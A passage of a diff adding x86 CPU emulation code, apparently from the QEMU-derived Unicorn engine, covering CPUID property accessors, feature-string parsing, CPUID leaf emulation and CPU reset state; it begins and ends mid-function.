x86_cpuid_version_get_stepping(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + int64_t value; + + value = env->cpuid_version & 0xf; + visit_type_int(v, &value, name, errp); +} + +static int x86_cpuid_version_set_stepping(struct uc_struct *uc, Object *obj, Visitor *v, + void *opaque, const char *name, + Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + const int64_t min = 0; + const int64_t max = 0xf; + Error *local_err = NULL; + int64_t value; + + visit_type_int(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + if (value < min || value > max) { + error_set(errp, QERR_PROPERTY_VALUE_OUT_OF_RANGE, "", + name ? name : "null", value, min, max); + return -1; + } + + env->cpuid_version &= ~0xf; + env->cpuid_version |= value & 0xf; + + return 0; +} + +static void x86_cpuid_get_level(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + + visit_type_uint32(v, &cpu->env.cpuid_level, name, errp); +} + +static int x86_cpuid_set_level(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + + visit_type_uint32(v, &cpu->env.cpuid_level, name, errp); + + return 0; +} + +static void x86_cpuid_get_xlevel(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + + visit_type_uint32(v, &cpu->env.cpuid_xlevel, name, errp); +} + +static int x86_cpuid_set_xlevel(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + + visit_type_uint32(v, &cpu->env.cpuid_xlevel, name, errp); + + return 0; +} + +static char *x86_cpuid_get_vendor(struct uc_struct *uc, Object *obj, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + char *value; + + value = (char *)g_malloc(CPUID_VENDOR_SZ + 1); + x86_cpu_vendor_words2str(value, env->cpuid_vendor1, env->cpuid_vendor2, + env->cpuid_vendor3); + return value; +} + +static int x86_cpuid_set_vendor(struct uc_struct *uc, Object *obj, const char *value, + Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + int i; + + if (strlen(value) != CPUID_VENDOR_SZ) { + error_set(errp, QERR_PROPERTY_VALUE_BAD, "", + "vendor", value); + return -1; + } + + env->cpuid_vendor1 = 0; + env->cpuid_vendor2 = 0; + env->cpuid_vendor3 = 0; + for (i = 0; i < 4; i++) { + env->cpuid_vendor1 |= ((uint8_t)value[i ]) << (8 * i); + env->cpuid_vendor2 |= ((uint8_t)value[i + 4]) << (8 * i); + env->cpuid_vendor3 |= ((uint8_t)value[i + 8]) << (8 * i); + } + + return 0; +} + +static char *x86_cpuid_get_model_id(struct uc_struct *uc, Object *obj, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + char *value; + int i; + + value = g_malloc(48 + 1); + for (i = 0; i < 48; i++) { + value[i] = env->cpuid_model[i >> 2] >> (8 * (i & 3)); + } + value[48] = '\0'; + return value; +} + +static int x86_cpuid_set_model_id(struct uc_struct *uc, Object *obj, const char *model_id, + Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + CPUX86State *env = &cpu->env; + int c, len, i; + + if (model_id == NULL) { + model_id = ""; + } + len = strlen(model_id); + memset(env->cpuid_model, 0, 48); + for (i = 0; i < 48; i++) { + if (i >= len) { + c = '\0'; + } else { + c = (uint8_t)model_id[i]; + } + env->cpuid_model[i >> 2] |= c << (8 * (i & 3)); + } + + return 0; +} + +static void x86_cpuid_get_tsc_freq(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + int64_t value; + + value = cpu->env.tsc_khz * 1000; + visit_type_int(v, &value, name, errp); +} + +static int x86_cpuid_set_tsc_freq(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + const int64_t min = 0; + const int64_t max = INT64_MAX; + Error *local_err = NULL; + int64_t value; + + visit_type_int(v, &value, name, &local_err); + if (local_err) { + error_propagate(errp, local_err); + return -1; + } + if (value < min || value > max) { + error_set(errp, QERR_PROPERTY_VALUE_OUT_OF_RANGE, "", + name ? name : "null", value, min, max); + return -1; + } + + cpu->env.tsc_khz = (int)(value / 1000); + + return 0; +} + +static void x86_cpuid_get_apic_id(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + int64_t value = cpu->env.cpuid_apic_id; + + visit_type_int(v, &value, name, errp); +} + +static int x86_cpuid_set_apic_id(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + X86CPU *cpu = X86_CPU(uc, obj); + DeviceState *dev = DEVICE(uc, obj); + const int64_t min = 0; + const int64_t max = UINT32_MAX; + Error *error = NULL; + int64_t value; + + if (dev->realized) { + error_setg(errp, "Attempt to set property '%s' on '%s' after " + "it was realized", name, object_get_typename(obj)); + return -1; + } + + visit_type_int(v, &value, name, &error); + if (error) { + error_propagate(errp, error); + return -1; + } + if (value < min || value > max) { + error_setg(errp, "Property %s.%s doesn't take value %" PRId64 + " (minimum: %" PRId64 ", maximum: %" PRId64 ")" , + object_get_typename(obj), name, value, min, max); + return -1; + } + + if ((value != cpu->env.cpuid_apic_id) && cpu_exists(uc, value)) { + error_setg(errp, "CPU with APIC ID %" PRIi64 " exists", value); + return -1; + } + cpu->env.cpuid_apic_id = (uint32_t)value; + + return 0; +} + +/* Generic getter for "feature-words" and "filtered-features" properties */ +static void x86_cpu_get_feature_words(struct uc_struct *uc, Object *obj, Visitor *v, void *opaque, + const char *name, Error **errp) +{ + uint32_t *array = (uint32_t *)opaque; + FeatureWord w; + Error *err = NULL; + // These all get setup below, so no need to initialise them here. + X86CPUFeatureWordInfo word_infos[FEATURE_WORDS]; + X86CPUFeatureWordInfoList list_entries[FEATURE_WORDS]; + X86CPUFeatureWordInfoList *list = NULL; + + for (w = 0; w < FEATURE_WORDS; w++) { + FeatureWordInfo *wi = &feature_word_info[w]; + X86CPUFeatureWordInfo *qwi = &word_infos[w]; + qwi->cpuid_input_eax = wi->cpuid_eax; + qwi->has_cpuid_input_ecx = wi->cpuid_needs_ecx; + qwi->cpuid_input_ecx = wi->cpuid_ecx; + qwi->cpuid_register = x86_reg_info_32[wi->cpuid_reg].qapi_enum; + qwi->features = array[w]; + + /* List will be in reverse order, but order shouldn't matter */ + list_entries[w].next = list; + list_entries[w].value = &word_infos[w]; + list = &list_entries[w]; + } + + visit_type_X86CPUFeatureWordInfoList(v, &list, "feature-words", &err); + error_propagate(errp, err); +} + +/* Convert all '_' in a feature string option name to '-', to make feature + * name conform to QOM property naming rule, which uses '-' instead of '_'. + */ +static inline void feat2prop(char *s) +{ + while ((s = strchr(s, '_'))) { + *s = '-'; + } +} + +/* Parse "+feature,-feature,feature=foo" CPU feature string + */ +static void x86_cpu_parse_featurestr(CPUState *cs, char *features, + Error **errp) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + char *featurestr; /* Single 'key=value" string being parsed */ + FeatureWord w; + /* Features to be added */ + FeatureWordArray plus_features = { 0 }; + /* Features to be removed */ + FeatureWordArray minus_features = { 0 }; + uint32_t numvalue; + CPUX86State *env = &cpu->env; + Error *local_err = NULL; + + featurestr = features ? strtok(features, ",") : NULL; + + while (featurestr) { + char *val; + if (featurestr[0] == '+') { + add_flagname_to_bitmaps(featurestr + 1, plus_features, &local_err); + } else if (featurestr[0] == '-') { + add_flagname_to_bitmaps(featurestr + 1, minus_features, &local_err); + } else if ((val = strchr(featurestr, '='))) { + *val = 0; val++; + feat2prop(featurestr); + if (!strcmp(featurestr, "xlevel")) { + char *err; + char num[32]; + + numvalue = strtoul(val, &err, 0); + if (!*val || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + if (numvalue < 0x80000000) { + numvalue += 0x80000000; + } + snprintf(num, sizeof(num), "%" PRIu32, numvalue); + object_property_parse(cs->uc, OBJECT(cpu), num, featurestr, &local_err); + } else if (!strcmp(featurestr, "tsc-freq")) { + int64_t tsc_freq; + char *err; + char num[32]; + + tsc_freq = strtosz_suffix_unit(val, &err, + STRTOSZ_DEFSUFFIX_B, 1000); + if (tsc_freq < 0 || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + snprintf(num, sizeof(num), "%" PRId64, tsc_freq); + object_property_parse(cs->uc, OBJECT(cpu), num, "tsc-frequency", + &local_err); + } else if (!strcmp(featurestr, "hv-spinlocks")) { + char *err; + const int min = 0xFFF; + char num[32]; + numvalue = strtoul(val, &err, 0); + if (!*val || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + if (numvalue < (uint32_t)min) { + numvalue = min; + } + snprintf(num, sizeof(num), "%" PRId32, numvalue); + object_property_parse(cs->uc, OBJECT(cpu), num, featurestr, &local_err); + } else { + object_property_parse(cs->uc, OBJECT(cpu), val, featurestr, &local_err); + } + } else { + feat2prop(featurestr); + object_property_parse(cs->uc, OBJECT(cpu), "on", featurestr, &local_err); + } + if (local_err) { + error_propagate(errp, local_err); + return; + } + featurestr = strtok(NULL, ","); + } + + if (cpu->host_features) { + for (w = 0; w < FEATURE_WORDS; w++) { + env->features[w] = + x86_cpu_get_supported_feature_word(env->uc, w); + } + } + + for (w = 0; w < FEATURE_WORDS; w++) { + env->features[w] |= plus_features[w]; + env->features[w] &= ~minus_features[w]; + } +} + +static uint32_t x86_cpu_get_supported_feature_word(struct uc_struct *uc, FeatureWord w) +{ + FeatureWordInfo *wi = &feature_word_info[w]; + + if (tcg_enabled(uc)) { + return wi->tcg_features; + } else { + return ~0; + } +} + +/* + * Filters CPU feature words based on host availability of each feature. + * + * Returns: 0 if all flags are supported by the host, non-zero otherwise. + */ +static int x86_cpu_filter_features(X86CPU *cpu) +{ + CPUX86State *env = &cpu->env; + FeatureWord w; + int rv = 0; + + for (w = 0; w < FEATURE_WORDS; w++) { + uint32_t host_feat = x86_cpu_get_supported_feature_word(env->uc, w); + uint32_t requested_features = env->features[w]; + env->features[w] &= host_feat; + cpu->filtered_features[w] = requested_features & ~env->features[w]; + if (cpu->filtered_features[w]) { + if (cpu->check_cpuid || cpu->enforce_cpuid) { + report_unavailable_features(w, cpu->filtered_features[w]); + } + rv = 1; + } + } + + return rv; +} + +/* Load data from X86CPUDefinition + */ +static void x86_cpu_load_def(X86CPU *cpu, X86CPUDefinition *def, Error **errp) +{ + CPUX86State *env = &cpu->env; + const char *vendor; + FeatureWord w; + + object_property_set_int(env->uc, OBJECT(cpu), def->level, "level", errp); + object_property_set_int(env->uc, OBJECT(cpu), def->family, "family", errp); + object_property_set_int(env->uc, OBJECT(cpu), def->model, "model", errp); + object_property_set_int(env->uc, OBJECT(cpu), def->stepping, "stepping", errp); + object_property_set_int(env->uc, OBJECT(cpu), def->xlevel, "xlevel", errp); + env->cpuid_xlevel2 = def->xlevel2; + cpu->cache_info_passthrough = def->cache_info_passthrough; + object_property_set_str(env->uc, OBJECT(cpu), def->model_id, "model-id", errp); + for (w = 0; w < FEATURE_WORDS; w++) { + env->features[w] = def->features[w]; + } + + env->features[FEAT_1_ECX] |= CPUID_EXT_HYPERVISOR; + + /* sysenter isn't supported in compatibility mode on AMD, + * syscall isn't supported in compatibility mode on Intel. + * Normally we advertise the actual CPU vendor, but you can + * override this using the 'vendor' property if you want to use + * KVM's sysenter/syscall emulation in compatibility mode and + * when doing cross vendor migration + */ + vendor = def->vendor; + + object_property_set_str(env->uc, OBJECT(cpu), vendor, "vendor", errp); +} + +X86CPU *cpu_x86_create(struct uc_struct *uc, const char *cpu_model, Error **errp) +{ + X86CPU *cpu = NULL; + ObjectClass *oc; + gchar **model_pieces; + char *name, *features; + Error *error = NULL; + + model_pieces = g_strsplit(cpu_model, ",", 2); + if (!model_pieces[0]) { + error_setg(&error, "Invalid/empty CPU model name"); + goto out; + } + name = model_pieces[0]; + features = model_pieces[1]; + + oc = x86_cpu_class_by_name(uc, name); + if (oc == NULL) { + error_setg(&error, "Unable to find CPU definition: %s", name); + goto out; + } + + cpu = X86_CPU(uc, object_new(uc, object_class_get_name(oc))); + + x86_cpu_parse_featurestr(CPU(cpu), features, &error); + if (error) { + goto out; + } + +out: + if (error != NULL) { + error_propagate(errp, error); + if (cpu) { + object_unref(uc, OBJECT(cpu)); + cpu = NULL; + } + } + g_strfreev(model_pieces); + return cpu; +} + +X86CPU *cpu_x86_init(struct uc_struct *uc, const char *cpu_model) +{ + Error *error = NULL; + X86CPU *cpu; + + cpu = cpu_x86_create(uc, cpu_model, &error); + if (error) { + goto out; + } + + object_property_set_bool(uc, OBJECT(cpu), true, "realized", &error); + +out: + if (error) { + error_free(error); + if (cpu != NULL) { + object_unref(uc, OBJECT(cpu)); + cpu = NULL; + } + } + return cpu; +} + +static void x86_cpu_cpudef_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + X86CPUDefinition *cpudef = data; + X86CPUClass *xcc = X86_CPU_CLASS(uc, oc); + + xcc->cpu_def = cpudef; +} + +static void x86_register_cpudef_type(struct uc_struct *uc, X86CPUDefinition *def) +{ + char *typename = x86_cpu_type_name(def->name); + TypeInfo ti = { + typename, + TYPE_X86_CPU, + + 0, + 0, + NULL, + + NULL, + NULL, + NULL, + + def, + + x86_cpu_cpudef_class_init, + }; + + type_register(uc, &ti); + g_free(typename); +} + +#if !defined(CONFIG_USER_ONLY) + +void cpu_clear_apic_feature(CPUX86State *env) +{ + env->features[FEAT_1_EDX] &= ~CPUID_APIC; +} + +#endif /* !CONFIG_USER_ONLY */ + +/* Initialize list of CPU models, filling some non-static fields if necessary + */ +void x86_cpudef_setup(void) +{ + int i, j; + static const char *model_with_versions[] = { "qemu32", "qemu64", "athlon" }; + + for (i = 0; i < ARRAY_SIZE(builtin_x86_defs); ++i) { + X86CPUDefinition *def = &builtin_x86_defs[i]; + + /* Look for specific "cpudef" models that */ + /* have the QEMU version in .model_id */ + for (j = 0; j < ARRAY_SIZE(model_with_versions); j++) { + if (strcmp(model_with_versions[j], def->name) == 0) { + pstrcpy(def->model_id, sizeof(def->model_id), + "QEMU Virtual CPU version "); + break; + } + } + } +} + +static void get_cpuid_vendor(CPUX86State *env, uint32_t *ebx, + uint32_t *ecx, uint32_t *edx) +{ + *ebx = env->cpuid_vendor1; + *edx = env->cpuid_vendor2; + *ecx = env->cpuid_vendor3; +} + +void cpu_x86_cpuid(CPUX86State *env, uint32_t index, uint32_t count, + uint32_t *eax, uint32_t *ebx, + uint32_t *ecx, uint32_t *edx) +{ + X86CPU *cpu = x86_env_get_cpu(env); + CPUState *cs = CPU(cpu); + + /* test if maximum index reached */ + if (index & 0x80000000) { + if (index > env->cpuid_xlevel) { + if (env->cpuid_xlevel2 > 0) { + /* Handle the Centaur's CPUID instruction. */ + if (index > env->cpuid_xlevel2) { + index = env->cpuid_xlevel2; + } else if (index < 0xC0000000) { + index = env->cpuid_xlevel; + } + } else { + /* Intel documentation states that invalid EAX input will + * return the same information as EAX=cpuid_level + * (Intel SDM Vol. 2A - Instruction Set Reference - CPUID) + */ + index = env->cpuid_level; + } + } + } else { + if (index > env->cpuid_level) + index = env->cpuid_level; + } + + switch(index) { + case 0: + *eax = env->cpuid_level; + get_cpuid_vendor(env, ebx, ecx, edx); + break; + case 1: + *eax = env->cpuid_version; + *ebx = (env->cpuid_apic_id << 24) | 8 << 8; /* CLFLUSH size in quad words, Linux wants it. */ + *ecx = env->features[FEAT_1_ECX]; + *edx = env->features[FEAT_1_EDX]; + if (cs->nr_cores * cs->nr_threads > 1) { + *ebx |= (cs->nr_cores * cs->nr_threads) << 16; + *edx |= 1 << 28; /* HTT bit */ + } + break; + case 2: + /* cache info: needed for Pentium Pro compatibility */ + if (cpu->cache_info_passthrough) { + host_cpuid(index, 0, eax, ebx, ecx, edx); + break; + } + *eax = 1; /* Number of CPUID[EAX=2] calls required */ + *ebx = 0; + *ecx = 0; + *edx = (L1D_DESCRIPTOR << 16) | \ + (L1I_DESCRIPTOR << 8) | \ + (L2_DESCRIPTOR); + break; + case 4: + /* cache info: needed for Core compatibility */ + if (cpu->cache_info_passthrough) { + host_cpuid(index, count, eax, ebx, ecx, edx); + *eax &= ~0xFC000000; + } else { + *eax = 0; + switch (count) { + case 0: /* L1 dcache info */ + *eax |= CPUID_4_TYPE_DCACHE | \ + CPUID_4_LEVEL(1) | \ + CPUID_4_SELF_INIT_LEVEL; + *ebx = (L1D_LINE_SIZE - 1) | \ + ((L1D_PARTITIONS - 1) << 12) | \ + ((L1D_ASSOCIATIVITY - 1) << 22); + *ecx = L1D_SETS - 1; + *edx = CPUID_4_NO_INVD_SHARING; + break; + case 1: /* L1 icache info */ + *eax |= CPUID_4_TYPE_ICACHE | \ + CPUID_4_LEVEL(1) | \ + CPUID_4_SELF_INIT_LEVEL; + *ebx = (L1I_LINE_SIZE - 1) | \ + ((L1I_PARTITIONS - 1) << 12) | \ + ((L1I_ASSOCIATIVITY - 1) << 22); + *ecx = L1I_SETS - 1; + *edx = CPUID_4_NO_INVD_SHARING; + break; + case 2: /* L2 cache info */ + *eax |= CPUID_4_TYPE_UNIFIED | \ + CPUID_4_LEVEL(2) | \ + CPUID_4_SELF_INIT_LEVEL; + if (cs->nr_threads > 1) { + *eax |= (cs->nr_threads - 1) << 14; + } + *ebx = (L2_LINE_SIZE - 1) | \ + ((L2_PARTITIONS - 1) << 12) | \ + ((L2_ASSOCIATIVITY - 1) << 22); + *ecx = L2_SETS - 1; + *edx = CPUID_4_NO_INVD_SHARING; + break; + default: /* end of info */ + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + } + } + + /* QEMU gives out its own APIC IDs, never pass down bits 31..26. */ + if ((*eax & 31) && cs->nr_cores > 1) { + *eax |= (cs->nr_cores - 1) << 26; + } + break; + case 5: + /* mwait info: needed for Core compatibility */ + *eax = 0; /* Smallest monitor-line size in bytes */ + *ebx = 0; /* Largest monitor-line size in bytes */ + *ecx = CPUID_MWAIT_EMX | CPUID_MWAIT_IBE; + *edx = 0; + break; + case 6: + /* Thermal and Power Leaf */ + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + case 7: + /* Structured Extended Feature Flags Enumeration Leaf */ + if (count == 0) { + *eax = 0; /* Maximum ECX value for sub-leaves */ + *ebx = env->features[FEAT_7_0_EBX]; /* Feature flags */ + *ecx = 0; /* Reserved */ + *edx = 0; /* Reserved */ + } else { + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + } + break; + case 9: + /* Direct Cache Access Information Leaf */ + *eax = 0; /* Bits 0-31 in DCA_CAP MSR */ + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + case 0xA: + /* Architectural Performance Monitoring Leaf */ + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + case 0xD: { + break; + } + case 0x80000000: + *eax = env->cpuid_xlevel; + *ebx = env->cpuid_vendor1; + *edx = env->cpuid_vendor2; + *ecx = env->cpuid_vendor3; + break; + case 0x80000001: + *eax = env->cpuid_version; + *ebx = 0; + *ecx = env->features[FEAT_8000_0001_ECX]; + *edx = env->features[FEAT_8000_0001_EDX]; + + /* The Linux kernel checks for the CMPLegacy bit and + * discards multiple thread information if it is set. + * So dont set it here for Intel to make Linux guests happy. + */ + if (cs->nr_cores * cs->nr_threads > 1) { + uint32_t tebx, tecx, tedx; + get_cpuid_vendor(env, &tebx, &tecx, &tedx); + if (tebx != CPUID_VENDOR_INTEL_1 || + tedx != CPUID_VENDOR_INTEL_2 || + tecx != CPUID_VENDOR_INTEL_3) { + *ecx |= 1 << 1; /* CmpLegacy bit */ + } + } + break; + case 0x80000002: + case 0x80000003: + case 0x80000004: + *eax = env->cpuid_model[(index - 0x80000002) * 4 + 0]; + *ebx = env->cpuid_model[(index - 0x80000002) * 4 + 1]; + *ecx = env->cpuid_model[(index - 0x80000002) * 4 + 2]; + *edx = env->cpuid_model[(index - 0x80000002) * 4 + 3]; + break; + case 0x80000005: + /* cache info (L1 cache) */ + if (cpu->cache_info_passthrough) { + host_cpuid(index, 0, eax, ebx, ecx, edx); + break; + } + *eax = (L1_DTLB_2M_ASSOC << 24) | (L1_DTLB_2M_ENTRIES << 16) | \ + (L1_ITLB_2M_ASSOC << 8) | (L1_ITLB_2M_ENTRIES); + *ebx = (L1_DTLB_4K_ASSOC << 24) | (L1_DTLB_4K_ENTRIES << 16) | \ + (L1_ITLB_4K_ASSOC << 8) | (L1_ITLB_4K_ENTRIES); + *ecx = (L1D_SIZE_KB_AMD << 24) | (L1D_ASSOCIATIVITY_AMD << 16) | \ + (L1D_LINES_PER_TAG << 8) | (L1D_LINE_SIZE); + *edx = (L1I_SIZE_KB_AMD << 24) | (L1I_ASSOCIATIVITY_AMD << 16) | \ + (L1I_LINES_PER_TAG << 8) | (L1I_LINE_SIZE); + break; + case 0x80000006: + /* cache info (L2 cache) */ + if (cpu->cache_info_passthrough) { + host_cpuid(index, 0, eax, ebx, ecx, edx); + break; + } + *eax = (AMD_ENC_ASSOC(L2_DTLB_2M_ASSOC) << 28) | \ + (L2_DTLB_2M_ENTRIES << 16) | \ + (AMD_ENC_ASSOC(L2_ITLB_2M_ASSOC) << 12) | \ + (L2_ITLB_2M_ENTRIES); + *ebx = (AMD_ENC_ASSOC(L2_DTLB_4K_ASSOC) << 28) | \ + (L2_DTLB_4K_ENTRIES << 16) | \ + (AMD_ENC_ASSOC(L2_ITLB_4K_ASSOC) << 12) | \ + (L2_ITLB_4K_ENTRIES); + *ecx = (L2_SIZE_KB_AMD << 16) | \ + (AMD_ENC_ASSOC(L2_ASSOCIATIVITY) << 12) | \ + (L2_LINES_PER_TAG << 8) | (L2_LINE_SIZE); + *edx = ((L3_SIZE_KB/512) << 18) | \ + (AMD_ENC_ASSOC(L3_ASSOCIATIVITY) << 12) | \ + (L3_LINES_PER_TAG << 8) | (L3_LINE_SIZE); + break; + case 0x80000007: + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = env->features[FEAT_8000_0007_EDX]; + break; + case 0x80000008: + /* virtual & phys address size in low 2 bytes. */ +/* XXX: This value must match the one used in the MMU code. */ + if (env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_LM) { + /* 64 bit processor */ +/* XXX: The physical address space is limited to 42 bits in exec.c. */ + *eax = 0x00003028; /* 48 bits virtual, 40 bits physical */ + } else { + if (env->features[FEAT_1_EDX] & CPUID_PSE36) { + *eax = 0x00000024; /* 36 bits physical */ + } else { + *eax = 0x00000020; /* 32 bits physical */ + } + } + *ebx = 0; + *ecx = 0; + *edx = 0; + if (cs->nr_cores * cs->nr_threads > 1) { + *ecx |= (cs->nr_cores * cs->nr_threads) - 1; + } + break; + case 0x8000000A: + if (env->features[FEAT_8000_0001_ECX] & CPUID_EXT3_SVM) { + *eax = 0x00000001; /* SVM Revision */ + *ebx = 0x00000010; /* nr of ASIDs */ + *ecx = 0; + *edx = env->features[FEAT_SVM]; /* optional features */ + } else { + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + } + break; + case 0xC0000000: + *eax = env->cpuid_xlevel2; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + case 0xC0000001: + /* Support for VIA CPU's CPUID instruction */ + *eax = env->cpuid_version; + *ebx = 0; + *ecx = 0; + *edx = env->features[FEAT_C000_0001_EDX]; + break; + case 0xC0000002: + case 0xC0000003: + case 0xC0000004: + /* Reserved for the future, and now filled with zero */ + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + default: + /* reserved values: zero */ + *eax = 0; + *ebx = 0; + *ecx = 0; + *edx = 0; + break; + } +} + +/* CPUClass::reset() */ +static void x86_cpu_reset(CPUState *s) +{ + X86CPU *cpu = X86_CPU(s->uc, s); + X86CPUClass *xcc = X86_CPU_GET_CLASS(s->uc, cpu); + CPUX86State *env = &cpu->env; + int i; + + xcc->parent_reset(s); + + memset(env, 0, offsetof(CPUX86State, cpuid_level)); + + tlb_flush(s, 1); + + env->old_exception = -1; + + /* init to reset state */ + +#ifdef CONFIG_SOFTMMU + env->hflags |= HF_SOFTMMU_MASK; +#endif + env->hflags2 |= HF2_GIF_MASK; + + cpu_x86_update_cr0(env, 0x60000010); + env->a20_mask = ~0x0; + env->smbase = 0x30000; + + env->idt.limit = 0xffff; + env->gdt.limit = 0xffff; + env->ldt.limit = 0xffff; + env->ldt.flags = DESC_P_MASK | (2 << DESC_TYPE_SHIFT); + env->tr.limit = 0xffff; + env->tr.flags = DESC_P_MASK | (11 << DESC_TYPE_SHIFT); + + cpu_x86_load_seg_cache(env, R_CS, 0xf000, 0xffff0000, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_CS_MASK | + DESC_R_MASK | DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_DS, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_ES, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_SS, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_FS, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_GS, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + + env->eip = 0xfff0; + env->regs[R_EDX] = env->cpuid_version; + + env->eflags = 0x2; + + /* FPU init */ + for (i = 0; i < 8; i++) { + env->fptags[i] = 1; + } + cpu_set_fpuc(env, 0x37f); + + env->mxcsr = 0x1f80; + env->xstate_bv = XSTATE_FP | XSTATE_SSE; + + env->pat = 0x0007040600070406ULL; + env->msr_ia32_misc_enable = MSR_IA32_MISC_ENABLE_DEFAULT; + + memset(env->dr, 0, sizeof(env->dr)); + env->dr[6] = DR6_FIXED_1; + env->dr[7] = DR7_FIXED_1; + cpu_breakpoint_remove_all(s, BP_CPU); + cpu_watchpoint_remove_all(s, BP_CPU); + + env->xcr0 = 1; + + /* + * SDM 11.11.5 requires: + * - IA32_MTRR_DEF_TYPE MSR.E = 0 + * - IA32_MTRR_PHYSMASKn.V = 0 + * All other bits are undefined. For simplification, zero it all. + */ + env->mtrr_deftype = 0; + memset(env->mtrr_var, 0, sizeof(env->mtrr_var)); + memset(env->mtrr_fixed, 0, sizeof(env->mtrr_fixed)); + +#if !defined(CONFIG_USER_ONLY) + /* We hard-wire the BSP to the first CPU. */ + if (s->cpu_index == 0) { + apic_designate_bsp(env->uc, cpu->apic_state); + } + + s->halted = !cpu_is_bsp(cpu); +#endif +} + +#ifndef CONFIG_USER_ONLY +bool cpu_is_bsp(X86CPU *cpu) +{ + return (cpu_get_apic_base((&cpu->env)->uc, cpu->apic_state) & MSR_IA32_APICBASE_BSP) != 0; +} +#endif + +static void mce_init(X86CPU *cpu) +{ + CPUX86State *cenv = &cpu->env; + unsigned int bank; + + if (((cenv->cpuid_version >> 8) & 0xf) >= 6 + && (cenv->features[FEAT_1_EDX] & (CPUID_MCE | CPUID_MCA)) == + (CPUID_MCE | CPUID_MCA)) { + cenv->mcg_cap = MCE_CAP_DEF | MCE_BANKS_DEF; + cenv->mcg_ctl = ~(uint64_t)0; + for (bank = 0; bank < MCE_BANKS_DEF; bank++) { + cenv->mce_banks[bank * 4] = ~(uint64_t)0; + } + } +} + +#ifndef CONFIG_USER_ONLY +static void x86_cpu_apic_create(X86CPU *cpu, Error **errp) +{ +#if 0 + DeviceState *dev = DEVICE(cpu); + APICCommonState *apic; + const char *apic_type = "apic"; + + cpu->apic_state = qdev_try_create(qdev_get_parent_bus(dev), apic_type); + if (cpu->apic_state == NULL) { + error_setg(errp, "APIC device '%s' could not be created", apic_type); + return; + } + + object_property_add_child(OBJECT(cpu), "apic", + OBJECT(cpu->apic_state), NULL); + //qdev_prop_set_uint8(cpu->apic_state, "id", env->cpuid_apic_id); + /* TODO: convert to link<> */ + apic = APIC_COMMON(cpu->apic_state); + apic->cpu = cpu; +#endif +} + +static void x86_cpu_apic_realize(X86CPU *cpu, Error **errp) +{ + if (cpu->apic_state == NULL) { + return; + } + + if (qdev_init(cpu->apic_state)) { + error_setg(errp, "APIC device '%s' could not be initialized", + object_get_typename(OBJECT(cpu->apic_state))); + return; + } +} +#else +static void x86_cpu_apic_realize(X86CPU *cpu, Error **errp) +{ +} +#endif + + +#define IS_INTEL_CPU(env) ((env)->cpuid_vendor1 == CPUID_VENDOR_INTEL_1 && \ + (env)->cpuid_vendor2 == CPUID_VENDOR_INTEL_2 && \ + (env)->cpuid_vendor3 == CPUID_VENDOR_INTEL_3) +#define IS_AMD_CPU(env) ((env)->cpuid_vendor1 == CPUID_VENDOR_AMD_1 && \ + (env)->cpuid_vendor2 == CPUID_VENDOR_AMD_2 && \ + (env)->cpuid_vendor3 == CPUID_VENDOR_AMD_3) +static int x86_cpu_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + CPUState *cs = CPU(dev); + X86CPU *cpu = X86_CPU(uc, dev); + X86CPUClass *xcc = X86_CPU_GET_CLASS(uc, dev); + CPUX86State *env = &cpu->env; + Error *local_err = 